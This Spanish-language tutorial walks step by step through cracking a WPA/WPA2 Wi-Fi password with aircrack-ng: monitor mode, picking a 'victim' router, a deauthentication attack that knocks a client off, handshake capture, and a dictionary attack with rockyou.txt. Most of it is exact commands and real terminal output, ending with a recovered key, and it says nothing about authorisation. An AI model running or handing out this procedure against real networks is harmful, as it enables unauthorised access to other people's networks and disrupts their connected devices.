Crackeando contraseñas WPA/WPA2 con aircrack-ng
usando fuerza bruta.
¿Qué es WPA/WPA2?
Wi-Fi Protected Access
es un sistema de cifrado que apareció para corregir las vulnerabilidades de la WEP, fue diseñado para usar un servidor de autenticación (RADIUS) que distribuye claves diferentes a cada usuario. Pero también se puede usar en una forma menos segura una contraseña precompartida, donde distintos usuarios pueden usar la misma para poder autenticarse.
Crackeando WPA/WPA2
El crackeo de la WPA/WPA2 consta de 4 pasos, el primero es colocar la tarjeta en modo monitor, el segundo es seleccionar el router de la víctima que tenga algún cliente conectado, el tercero es capturar el tráfico generado por el router victima mientras se hace un ataque de desautenticación al cliente conectado, esperamos a que el cliente se vuelva a conectar otra ves para capturarle la handshake
(la handshake
es lo que nos sirve para poder romper la contraseña) y el último paso es usar aircrack-ng
y un diccionario (lista de contraseñas posibles en formato txt) para poder romper la contraseña. Actualmente es la más usada.
Colocando la tarjeta en modo monitor
sudo airmon-ng start wlan1
Seleccionando una victima
Cuando usamos el siguiente comando airodump-ng wlan1mon
lo que hacemos es usar la tarjeta en modo monitor para poder identificar las redes Wifi existentes.
root@vay3t:~# airodump-ng wlan1mon
CH 5 ][ Elapsed: 0 s ][ 2017-10-30 18:22
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C0:56:27:DD:4F:63 -33 2 0 0 6 54 WPA2 CCMP PSK c1sc0
C0:05:C2:C2:04:B1 -71 2 0 0 7 54e. WPA2 CCMP PSK Movistar
BSSID STATION PWR Rate Lost Frames Probe
C0:56:27:DD:4F:63 30:A8:DB:F1:66:82 -30 0 - 1 0 3
Nos damos cuenta de que el router c1sc0
tiene ENC
WPA2 con un cliente conectado lo que significa que nos interesa.
Capturando el handshake
Ya que hemos seleccionado nuestra victima tenemos que capturar mientras realizamos el ataque de desautenticación con aireplay-ng
para poder capturar el handshake
root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout
CH 6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C0:56:27:DD:4F:63 -6 100 0 0 0 6 54 WPA2 CCMP PSK c1sc0
BSSID STATION PWR Rate Lost Frames Probe
C0:56:27:DD:4F:63 30:A8:DB:F1:66:82 0 1 - 1 0 0 c1sc0
Mientras tenemos airodump-ng
corriendo usaremos otra ventana para poder realizar el ataque de desautenticación. Lo que hace el ataque de desautenticación es botar al cliente para que vuelva a ingresar al router y de esa forma capturar el handshake
root@vay3t:~# aireplay-ng wlan1mon -0 4 -a C0:56:27:DD:4F:63 -c 30:A8:DB:F1:66:82
18:27:56 Waiting for beacon frame (BSSID: C0:56:27:DD:4F:63) on channel 6
18:27:57 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|60 ACKs]
18:27:58 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|59 ACKs]
18:27:58 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|69 ACKs]
18:27:59 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 6|51 ACKs]
-0 4
: También usado como--deauth 4
lo que hace es seleccionar el ataquedeauth
y enviar 4 paquetes con este ataque para poder botar al cliente-a C0:56:27:DD:4F:63
: Se usa para poder especificar el router victima-c 30:A8:DB:F1:66:82
: Se utiliza para poder especificar al cliente a quien vamos a botar
Este ataque se hace cuantas veces sea necesario hasta capturar el handshake
. Luego de un rato nos damos cuenta que aparece esto en la ventana del airodump-ng
: [ WPA handshake: C0:56:27:DD:4F:63
root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout
CH 6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ][ WPA handshake: C0:56:27:DD:4F:63
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C0:56:27:DD:4F:63 -6 100 1154 290 0 6 54 WPA2 CCMP PSK c1sc0
BSSID STATION PWR Rate Lost Frames Probe
C0:56:27:DD:4F:63 30:A8:DB:F1:66:82 0 1 - 1 3518 14635 c1sc0
Crackeando con aircrack-ng
Después de haber capturado el handshake
lo que haremos ahora es usar fuerza bruta para poder romper la contraseña. Para eso necesitamos descargar un diccionario, uno genérico que recomiendo mucho es rockyou.txt
wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bzip2 -d rockyou.txt.bz2
Ahora que tenemos el diccionario usamos aircrack-ng donde con -w rockyou.txt
especificamos la ruta del diccionario y luego colocamos el nombre que le hemos puesto a la captura de airodump-ng
agregando un -01.cap
root@vay3t:~# aircrack-ng -w rockyou.txt outout-01.cap
Opening outout-01.cap
Read 38818 packets.
# BSSID ESSID Encryption
1 C0:56:27:DD:4F:63 c1sc0 WPA (1 handshake)
Choosing first network as target.
Opening outout-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 rc4
[00:00:09] 6232/9822769 keys tested (634.98 k/s)
Time left: 4 hours, 18 minutes, 3 seconds 0.06%
KEY FOUND! [ 19721972 ]
Master Key : FD 87 8D EA 6D 83 8C B7 91 84 77 EA BE FE 17 53
E6 EA 82 CC 03 A8 35 DB 7D 90 4A A7 11 EC AE 43
Transient Key : 78 64 90 59 B8 3A 5F 10 00 0E 25 84 C4 EB 51 55
D6 C1 F3 85 9E F8 E7 ED 7D 23 DC 47 28 67 7F 04
3A 71 CE 5C 86 FB 19 B1 D5 4A 32 AD 5D 62 24 DF
E7 0C D5 BB 74 DA 39 DA FD 8F 37 FF 16 53 77 BD
EAPOL HMAC : A6 A7 F5 44 1E DE 57 6E 8D 06 01 D3 34 F6 D7 7B
Y luego de esperar un momento ya tenemos nuestra contraseña:
KEY FOUND! [ 19721972 ]